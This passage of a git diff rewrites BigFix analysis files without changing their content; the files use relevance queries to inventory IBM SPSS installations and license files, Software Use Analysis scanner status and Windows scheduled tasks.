-    <Title>SPSS Installation and Licensing - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(exists keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry))</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 19 Dec 2014 21:32:22 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Versions" EvaluationPeriod="PT12H">unique values of (it as string) of values &quot;DisplayVersion&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry)</Property>
-    <Property ID="2" Name="Install Folders" EvaluationPeriod="PT12H">unique values of pathnames of folders ((it as string) of values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry))</Property>
-    <Property ID="3" Name="License Files" EvaluationPeriod="PT12H">unique values of pathnames of files &quot;lservrc&quot; of folders ((it as string) of values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry))</Property>
-    <Property ID="4" Name="License File Contents" EvaluationPeriod="PT12H">unique values of lines whose (it as trimmed string != &quot;&quot;) of files &quot;lservrc&quot; of folders (values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry) as string)</Property>
-    <Property ID="5" Name="License Expirations" EvaluationPeriod="PT12H">unique values of (preceding texts of firsts &quot;, exclusive&quot; of following texts of lasts &quot;, expires Midnight of &quot; of it) of lines containing &quot;, expires Midnight of &quot; whose (it contains &quot;, exclusive&quot;) of files &quot;lservrc&quot; of folders (values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry) as string)</Property>
-    <Property ID="6" Name="Network License Files" EvaluationPeriod="PT12H">unique values of pathnames of files &quot;spssprod.inf&quot; of folders ((it as string) of values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry))</Property>
-    <Property ID="7" Name="Network License File Contents" EvaluationPeriod="PT12H">unique values of lines whose (it as trimmed string != &quot;&quot;) of files &quot;spssprod.inf&quot; of folders (values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry) as string)</Property>
-    <Property ID="8" Name="Network License Server" EvaluationPeriod="PT12H">unique values of (it as trimmed string) whose (it != &quot;&quot;) of keys &quot;DaemonHost&quot; of files &quot;spssprod.inf&quot; of folders ((it as string) of values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry))</Property>
-    <Property ID="10" Name="License Status" EvaluationPeriod="PT6H">unique values of ( ( ( (if (it &lt; current date) then &quot;Expired on &quot; else &quot;Expires on &quot;) &amp; following text of first &quot;, &quot; of (it as string) ) of maxima of (it as date) of (following text of last &quot; &quot; of preceding text of first &quot;, &quot; of it &amp; &quot; &quot; &amp; preceding text of first &quot; &quot; of it &amp; &quot; &quot; &amp; following text of last &quot;, &quot; of it) of (it as trimmed string) of (preceding texts of firsts &quot;, exclusive&quot; of following texts of lasts &quot;, expires Midnight of &quot; of it) of lines containing &quot;, expires Midnight of &quot; whose (it contains &quot;, exclusive&quot;) of it) of files &quot;lservrc&quot; of folders ((it as string) of values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry)) )</Property>
-    <Property ID="11" Name="Network License Server (Filtered)" EvaluationPeriod="PT12H">unique values of (it as trimmed string) whose (it != &quot;&quot; AND ( /* The following should be true of any License Server that is a domain name, or an IPV4 address */ 1 &lt; number of substrings separated by &quot;.&quot; of it )) of keys &quot;DaemonHost&quot; of files &quot;spssprod.inf&quot; of folders ((it as string) of values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry))</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : SPSS Installation and Licensing - Windows
+  ID       : 2994757
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-12-19T14:38:20
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>SPSS Installation and Licensing - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(exists keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry))</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 19 Dec 2014 21:32:22 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Versions" EvaluationPeriod="PT12H">unique values of (it as string) of values &quot;DisplayVersion&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry)</Property>
+    <Property ID="2" Name="Install Folders" EvaluationPeriod="PT12H">unique values of pathnames of folders ((it as string) of values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry))</Property>
+    <Property ID="3" Name="License Files" EvaluationPeriod="PT12H">unique values of pathnames of files &quot;lservrc&quot; of folders ((it as string) of values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry))</Property>
+    <Property ID="4" Name="License File Contents" EvaluationPeriod="PT12H">unique values of lines whose (it as trimmed string != &quot;&quot;) of files &quot;lservrc&quot; of folders (values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry) as string)</Property>
+    <Property ID="5" Name="License Expirations" EvaluationPeriod="PT12H">unique values of (preceding texts of firsts &quot;, exclusive&quot; of following texts of lasts &quot;, expires Midnight of &quot; of it) of lines containing &quot;, expires Midnight of &quot; whose (it contains &quot;, exclusive&quot;) of files &quot;lservrc&quot; of folders (values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry) as string)</Property>
+    <Property ID="6" Name="Network License Files" EvaluationPeriod="PT12H">unique values of pathnames of files &quot;spssprod.inf&quot; of folders ((it as string) of values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry))</Property>
+    <Property ID="7" Name="Network License File Contents" EvaluationPeriod="PT12H">unique values of lines whose (it as trimmed string != &quot;&quot;) of files &quot;spssprod.inf&quot; of folders (values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry) as string)</Property>
+    <Property ID="8" Name="Network License Server" EvaluationPeriod="PT12H">unique values of (it as trimmed string) whose (it != &quot;&quot;) of keys &quot;DaemonHost&quot; of files &quot;spssprod.inf&quot; of folders ((it as string) of values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry))</Property>
+    <Property ID="10" Name="License Status" EvaluationPeriod="PT6H">unique values of ( ( ( (if (it &lt; current date) then &quot;Expired on &quot; else &quot;Expires on &quot;) &amp; following text of first &quot;, &quot; of (it as string) ) of maxima of (it as date) of (following text of last &quot; &quot; of preceding text of first &quot;, &quot; of it &amp; &quot; &quot; &amp; preceding text of first &quot; &quot; of it &amp; &quot; &quot; &amp; following text of last &quot;, &quot; of it) of (it as trimmed string) of (preceding texts of firsts &quot;, exclusive&quot; of following texts of lasts &quot;, expires Midnight of &quot; of it) of lines containing &quot;, expires Midnight of &quot; whose (it contains &quot;, exclusive&quot;) of it) of files &quot;lservrc&quot; of folders ((it as string) of values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry)) )</Property>
+    <Property ID="11" Name="Network License Server (Filtered)" EvaluationPeriod="PT12H">unique values of (it as trimmed string) whose (it != &quot;&quot; AND ( /* The following should be true of any License Server that is a domain name, or an IPV4 address */ 1 &lt; number of substrings separated by &quot;.&quot; of it )) of keys &quot;DaemonHost&quot; of files &quot;spssprod.inf&quot; of folders ((it as string) of values &quot;InstallLocation&quot; of keys whose (value &quot;DisplayName&quot; of it as string starts with &quot;IBM SPSS Statistics&quot;) of keys &quot;HKLM\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Uninstall&quot; of (native registry; x32 registry))</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/SUA - Software Usage Analysis Info - Windows (2994536).bes b/Sites/Windows Management/Fixlets/Analyses/SUA - Software Usage Analysis Info - Windows (2994536).bes
index 73033e690..9ea300f45 100644
--- a/Sites/Windows Management/Fixlets/Analyses/SUA - Software Usage Analysis Info - Windows (2994536).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/SUA - Software Usage Analysis Info - Windows (2994536).bes	
@@ -1,46 +1,46 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : SUA - Software Usage Analysis Info - Windows
-  ID       : 2994536
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2013-06-20T13:20:07
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>SUA - Software Usage Analysis Info - Windows</Title>
-    <Description><![CDATA[<P>This Analysis is to gather data about clients who are reporting data to Software Use Analysis. The "Duration of Scan" property will likely report an error if the scan is in progress, and probably for other reasons I have not yet investigated. The "ScanLog-ModTime" property should be the time of the last scan, unless a scan is in progress. The "Time between Scan &amp; Upload" property is the difference of the mod time of the newest upload and the mod time of the scan log, which may be incorrect/negative if a scan is in progresss.</P>
-<P>NOTE: This is "BETA" code and is not fully tested or in full production. This is an attempt to gather helpful feedback on the status of SUA&nbsp;on the client. </P>
-<P>NOTE: This has only been tested on Windows, but should work on other OSes with minor adjustments.</P>
-<P><A href="http://bigfix.me/cdb/analysis/2994536">http://bigfix.me/cdb/analysis/2994536</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 20 Jun 2013 20:02:33 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="ScanLog-ModTime" EvaluationPeriod="PT6H">if(not(exists parent folder of regapp &quot;besclient.exe&quot; AND exists folder (pathname of parent folder of regapp &quot;besclient.exe&quot; &amp; &quot;\LMT\ITSIT&quot;) AND exists file (pathname of parent folder of regapp &quot;besclient.exe&quot; &amp; &quot;\LMT\ITSIT\scan.log&quot;) )) then ERROR &quot;no log&quot; else (modification time of file (pathname of parent folder of regapp &quot;besclient.exe&quot; &amp; &quot;\LMT\ITSIT\scan.log&quot;) as string)</Property>
-    <Property ID="2" Name="Results to Upload?" EvaluationPeriod="PT6H">if (exists value of settings &quot;ITSIT_Scanner_OutDir&quot; of client) then (exists file (computer id as string &amp; &quot;.xml&quot;) of folder (value of settings &quot;ITSIT_Scanner_OutDir&quot; of client)) else (if (name of operating system as lowercase starts with &quot;win&quot;) then (exists file (computer id as string &amp; &quot;.xml&quot;) of folder (pathname of parent folder of regapp &quot;besclient.exe&quot; &amp; &quot;\LMT\ITSIT&quot;)) else (exists file (computer id as string &amp; &quot;.xml&quot;) of folder ((pathname of parent folder of parent folder of client folder of site &quot;actionsite&quot;) &amp; &quot;/LMT/ITSIT&quot;)))</Property>
-    <Property ID="4" Name="Last Upload? (i think)" EvaluationPeriod="PT6H">maximum of modification times of files whose(name of it ends with &quot;.xml.bz2&quot;) of folder (pathname of parent folder of regapp &quot;besclient.exe&quot; &amp; &quot;\LMT\ITSIT&quot;)</Property>
-    <Property ID="5" Name="Duration of Scan?" EvaluationPeriod="PT6H">((following text of first &quot;;&quot; of it as string as time)-(preceding text of first &quot;;&quot; of it as string as time)) of concatenation &quot;;&quot; of (it as string) of following texts of firsts &quot;# &quot; of lines whose(it does not contain &quot;Started&quot; AND it does not contain &quot;Complete&quot; AND it contains &quot;:&quot; AND it contains &quot;# &quot;) of file &quot;scan.log&quot; of folder (pathname of parent folder of regapp &quot;besclient.exe&quot; &amp; &quot;\LMT\ITSIT&quot;)</Property>
-    <Property ID="7" Name="Time between Scan &amp; Upload" EvaluationPeriod="PT6H">(maximum of modification times of files whose(name of it ends with &quot;.xml.bz2&quot;) of folder (pathname of parent folder of regapp &quot;besclient.exe&quot; &amp; &quot;\LMT\ITSIT&quot;)) - (modification time of file (pathname of parent folder of regapp &quot;besclient.exe&quot; &amp; &quot;\LMT\ITSIT\scan.log&quot;))</Property>
-    <Property ID="9" Name="CIT Scan Count" EvaluationPeriod="PT6H">if (not exists setting &quot;CIT_Scan_Count&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;CIT_Scan_Count&quot; of client</Property>
-    <Property ID="10" Name="ITSIT Scan Count" EvaluationPeriod="PT6H">if (not exists setting &quot;ITSIT_Scan_Count&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;ITSIT_Scan_Count&quot; of client</Property>
-    <Property ID="11" Name="Version of CIT Scanner" EvaluationPeriod="PT6H">if(exists folder &quot;C:\Program Files\tivoli\cit\properties\version&quot; AND exists file whose(name of it ends with &quot;.cmptag&quot;) of folder &quot;C:\Program Files\tivoli\cit\properties\version&quot;) then ((it as text) of xpaths &quot;/Component/ComponentVersion&quot; of xml document of file whose(name of it ends with &quot;.cmptag&quot;) of folder &quot;C:\Program Files\tivoli\cit\properties\version&quot;) else ERROR &quot;No CIT Scanner&quot;</Property>
-    <Property ID="12" Name="Location of CIT Scanner" EvaluationPeriod="PT12H">if (exists folder &quot;LMT\CIT&quot; of parent folder of client AND exists file &quot;installCITlog.txt&quot; of folder &quot;LMT\CIT&quot; of parent folder of client) then (following text of first &quot;Default dest: &quot; of line whose(it starts with &quot;Default dest: &quot;) of file &quot;installCITlog.txt&quot; of folder &quot;LMT\CIT&quot; of parent folder of client) as trimmed string else ERROR &quot;No CIT Scanner&quot;</Property>
-    <Property ID="13" Name="ITSIT_Scanner_Version file" EvaluationPeriod="PT6H">version of file &quot;itsit.exe&quot; of folder &quot;LMT\ITSIT&quot; of parent folder of client</Property>
-    <Property ID="14" Name="ITSIT_Scanner_Version setting" EvaluationPeriod="PT6H">if (not exists setting &quot;ITSIT_Scanner_Version&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;ITSIT_Scanner_Version&quot; of client</Property>
-    <Property ID="15" Name="_BESClient_UsageManager_EnableAppUsageSummary" EvaluationPeriod="PT6H">if (not exists setting &quot;_BESClient_UsageManager_EnableAppUsageSummary&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;_BESClient_UsageManager_EnableAppUsageSummary&quot; of client</Property>
-    <Property ID="16" Name="_BESClient_UsageManager_EnableAppUsageSummaryApps" EvaluationPeriod="PT6H">if (not exists setting &quot;_BESClient_UsageManager_EnableAppUsageSummaryApps&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;_BESClient_UsageManager_EnableAppUsageSummaryApps&quot; of client</Property>
-    <Property ID="17" Name="ITSIT_Scanner_Debug" EvaluationPeriod="PT6H">if (not exists setting &quot;ITSIT_Scanner_Debug&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;ITSIT_Scanner_Debug&quot; of client</Property>
-    <Property ID="18" Name="ITSIT_Deny" EvaluationPeriod="PT6H">if (not exists setting &quot;ITSIT_Deny&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;ITSIT_Deny&quot; of client</Property>
-    <Property ID="19" Name="ITSIT_Scanner_OutDir" EvaluationPeriod="PT6H">if (not exists setting &quot;ITSIT_Scanner_OutDir&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;ITSIT_Scanner_OutDir&quot; of client</Property>
-    <Property ID="20" Name="CIT_Deny" EvaluationPeriod="PT6H">if (not exists setting &quot;CIT_Deny&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;CIT_Deny&quot; of client</Property>
-    <Property ID="23" Name="CIT_BuildDate" EvaluationPeriod="PT6H">(following text of first &quot;CIT_BuildDate = &quot; of lines whose(it starts with &quot;CIT_BuildDate = &quot;) of file &quot;cit.ini&quot; of folder &quot;cit&quot; of windows folder) as trimmed string</Property>
-    <Property ID="24" Name="CIT_Exploiters" EvaluationPeriod="PT6H">(following text of first &quot;CIT_Exploiters = &quot; of lines whose(it starts with &quot;CIT_Exploiters = &quot;) of file &quot;cit.ini&quot; of folder &quot;cit&quot; of windows folder) as trimmed string</Property>
-    <Property ID="25" Name="CIT_ConfigRootDirectory" EvaluationPeriod="PT6H">(following text of first &quot;CIT_ConfigRootDirectory = &quot; of lines whose(it starts with &quot;CIT_ConfigRootDirectory = &quot;) of file &quot;cit.ini&quot; of folder &quot;cit&quot; of windows folder) as trimmed string</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : SUA - Software Usage Analysis Info - Windows
+  ID       : 2994536
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-06-20T13:20:07
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>SUA - Software Usage Analysis Info - Windows</Title>
+    <Description><![CDATA[<P>This Analysis is to gather data about clients who are reporting data to Software Use Analysis. The "Duration of Scan" property will likely report an error if the scan is in progress, and probably for other reasons I have not yet investigated. The "ScanLog-ModTime" property should be the time of the last scan, unless a scan is in progress. The "Time between Scan &amp; Upload" property is the difference of the mod time of the newest upload and the mod time of the scan log, which may be incorrect/negative if a scan is in progresss.</P>
+<P>NOTE: This is "BETA" code and is not fully tested or in full production. This is an attempt to gather helpful feedback on the status of SUA&nbsp;on the client. </P>
+<P>NOTE: This has only been tested on Windows, but should work on other OSes with minor adjustments.</P>
+<P><A href="http://bigfix.me/cdb/analysis/2994536">http://bigfix.me/cdb/analysis/2994536</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 20 Jun 2013 20:02:33 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="ScanLog-ModTime" EvaluationPeriod="PT6H">if(not(exists parent folder of regapp &quot;besclient.exe&quot; AND exists folder (pathname of parent folder of regapp &quot;besclient.exe&quot; &amp; &quot;\LMT\ITSIT&quot;) AND exists file (pathname of parent folder of regapp &quot;besclient.exe&quot; &amp; &quot;\LMT\ITSIT\scan.log&quot;) )) then ERROR &quot;no log&quot; else (modification time of file (pathname of parent folder of regapp &quot;besclient.exe&quot; &amp; &quot;\LMT\ITSIT\scan.log&quot;) as string)</Property>
+    <Property ID="2" Name="Results to Upload?" EvaluationPeriod="PT6H">if (exists value of settings &quot;ITSIT_Scanner_OutDir&quot; of client) then (exists file (computer id as string &amp; &quot;.xml&quot;) of folder (value of settings &quot;ITSIT_Scanner_OutDir&quot; of client)) else (if (name of operating system as lowercase starts with &quot;win&quot;) then (exists file (computer id as string &amp; &quot;.xml&quot;) of folder (pathname of parent folder of regapp &quot;besclient.exe&quot; &amp; &quot;\LMT\ITSIT&quot;)) else (exists file (computer id as string &amp; &quot;.xml&quot;) of folder ((pathname of parent folder of parent folder of client folder of site &quot;actionsite&quot;) &amp; &quot;/LMT/ITSIT&quot;)))</Property>
+    <Property ID="4" Name="Last Upload? (i think)" EvaluationPeriod="PT6H">maximum of modification times of files whose(name of it ends with &quot;.xml.bz2&quot;) of folder (pathname of parent folder of regapp &quot;besclient.exe&quot; &amp; &quot;\LMT\ITSIT&quot;)</Property>
+    <Property ID="5" Name="Duration of Scan?" EvaluationPeriod="PT6H">((following text of first &quot;;&quot; of it as string as time)-(preceding text of first &quot;;&quot; of it as string as time)) of concatenation &quot;;&quot; of (it as string) of following texts of firsts &quot;# &quot; of lines whose(it does not contain &quot;Started&quot; AND it does not contain &quot;Complete&quot; AND it contains &quot;:&quot; AND it contains &quot;# &quot;) of file &quot;scan.log&quot; of folder (pathname of parent folder of regapp &quot;besclient.exe&quot; &amp; &quot;\LMT\ITSIT&quot;)</Property>
+    <Property ID="7" Name="Time between Scan &amp; Upload" EvaluationPeriod="PT6H">(maximum of modification times of files whose(name of it ends with &quot;.xml.bz2&quot;) of folder (pathname of parent folder of regapp &quot;besclient.exe&quot; &amp; &quot;\LMT\ITSIT&quot;)) - (modification time of file (pathname of parent folder of regapp &quot;besclient.exe&quot; &amp; &quot;\LMT\ITSIT\scan.log&quot;))</Property>
+    <Property ID="9" Name="CIT Scan Count" EvaluationPeriod="PT6H">if (not exists setting &quot;CIT_Scan_Count&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;CIT_Scan_Count&quot; of client</Property>
+    <Property ID="10" Name="ITSIT Scan Count" EvaluationPeriod="PT6H">if (not exists setting &quot;ITSIT_Scan_Count&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;ITSIT_Scan_Count&quot; of client</Property>
+    <Property ID="11" Name="Version of CIT Scanner" EvaluationPeriod="PT6H">if(exists folder &quot;C:\Program Files\tivoli\cit\properties\version&quot; AND exists file whose(name of it ends with &quot;.cmptag&quot;) of folder &quot;C:\Program Files\tivoli\cit\properties\version&quot;) then ((it as text) of xpaths &quot;/Component/ComponentVersion&quot; of xml document of file whose(name of it ends with &quot;.cmptag&quot;) of folder &quot;C:\Program Files\tivoli\cit\properties\version&quot;) else ERROR &quot;No CIT Scanner&quot;</Property>
+    <Property ID="12" Name="Location of CIT Scanner" EvaluationPeriod="PT12H">if (exists folder &quot;LMT\CIT&quot; of parent folder of client AND exists file &quot;installCITlog.txt&quot; of folder &quot;LMT\CIT&quot; of parent folder of client) then (following text of first &quot;Default dest: &quot; of line whose(it starts with &quot;Default dest: &quot;) of file &quot;installCITlog.txt&quot; of folder &quot;LMT\CIT&quot; of parent folder of client) as trimmed string else ERROR &quot;No CIT Scanner&quot;</Property>
+    <Property ID="13" Name="ITSIT_Scanner_Version file" EvaluationPeriod="PT6H">version of file &quot;itsit.exe&quot; of folder &quot;LMT\ITSIT&quot; of parent folder of client</Property>
+    <Property ID="14" Name="ITSIT_Scanner_Version setting" EvaluationPeriod="PT6H">if (not exists setting &quot;ITSIT_Scanner_Version&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;ITSIT_Scanner_Version&quot; of client</Property>
+    <Property ID="15" Name="_BESClient_UsageManager_EnableAppUsageSummary" EvaluationPeriod="PT6H">if (not exists setting &quot;_BESClient_UsageManager_EnableAppUsageSummary&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;_BESClient_UsageManager_EnableAppUsageSummary&quot; of client</Property>
+    <Property ID="16" Name="_BESClient_UsageManager_EnableAppUsageSummaryApps" EvaluationPeriod="PT6H">if (not exists setting &quot;_BESClient_UsageManager_EnableAppUsageSummaryApps&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;_BESClient_UsageManager_EnableAppUsageSummaryApps&quot; of client</Property>
+    <Property ID="17" Name="ITSIT_Scanner_Debug" EvaluationPeriod="PT6H">if (not exists setting &quot;ITSIT_Scanner_Debug&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;ITSIT_Scanner_Debug&quot; of client</Property>
+    <Property ID="18" Name="ITSIT_Deny" EvaluationPeriod="PT6H">if (not exists setting &quot;ITSIT_Deny&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;ITSIT_Deny&quot; of client</Property>
+    <Property ID="19" Name="ITSIT_Scanner_OutDir" EvaluationPeriod="PT6H">if (not exists setting &quot;ITSIT_Scanner_OutDir&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;ITSIT_Scanner_OutDir&quot; of client</Property>
+    <Property ID="20" Name="CIT_Deny" EvaluationPeriod="PT6H">if (not exists setting &quot;CIT_Deny&quot; whose(exists value of it) of client) then ERROR &quot;not set&quot; else value of setting &quot;CIT_Deny&quot; of client</Property>
+    <Property ID="23" Name="CIT_BuildDate" EvaluationPeriod="PT6H">(following text of first &quot;CIT_BuildDate = &quot; of lines whose(it starts with &quot;CIT_BuildDate = &quot;) of file &quot;cit.ini&quot; of folder &quot;cit&quot; of windows folder) as trimmed string</Property>
+    <Property ID="24" Name="CIT_Exploiters" EvaluationPeriod="PT6H">(following text of first &quot;CIT_Exploiters = &quot; of lines whose(it starts with &quot;CIT_Exploiters = &quot;) of file &quot;cit.ini&quot; of folder &quot;cit&quot; of windows folder) as trimmed string</Property>
+    <Property ID="25" Name="CIT_ConfigRootDirectory" EvaluationPeriod="PT6H">(following text of first &quot;CIT_ConfigRootDirectory = &quot; of lines whose(it starts with &quot;CIT_ConfigRootDirectory = &quot;) of file &quot;cit.ini&quot; of folder &quot;cit&quot; of windows folder) as trimmed string</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Scheduled Tasks - Windows (2998472).bes b/Sites/Windows Management/Fixlets/Analyses/Scheduled Tasks - Windows (2998472).bes
index 1f2a72d96..027206ae5 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Scheduled Tasks - Windows (2998472).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Scheduled Tasks - Windows (2998472).bes	
@@ -1,28 +1,28 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Scheduled Tasks - Windows
-  ID       : 2998472
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-10-26T07:41:21
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Scheduled Tasks - Windows</Title>
-    <Description><![CDATA[<P>This analysis provides information about the currently configured scheduled tasks on the system.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Tasks - Paths - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (path of it) of scheduled tasks</Property>
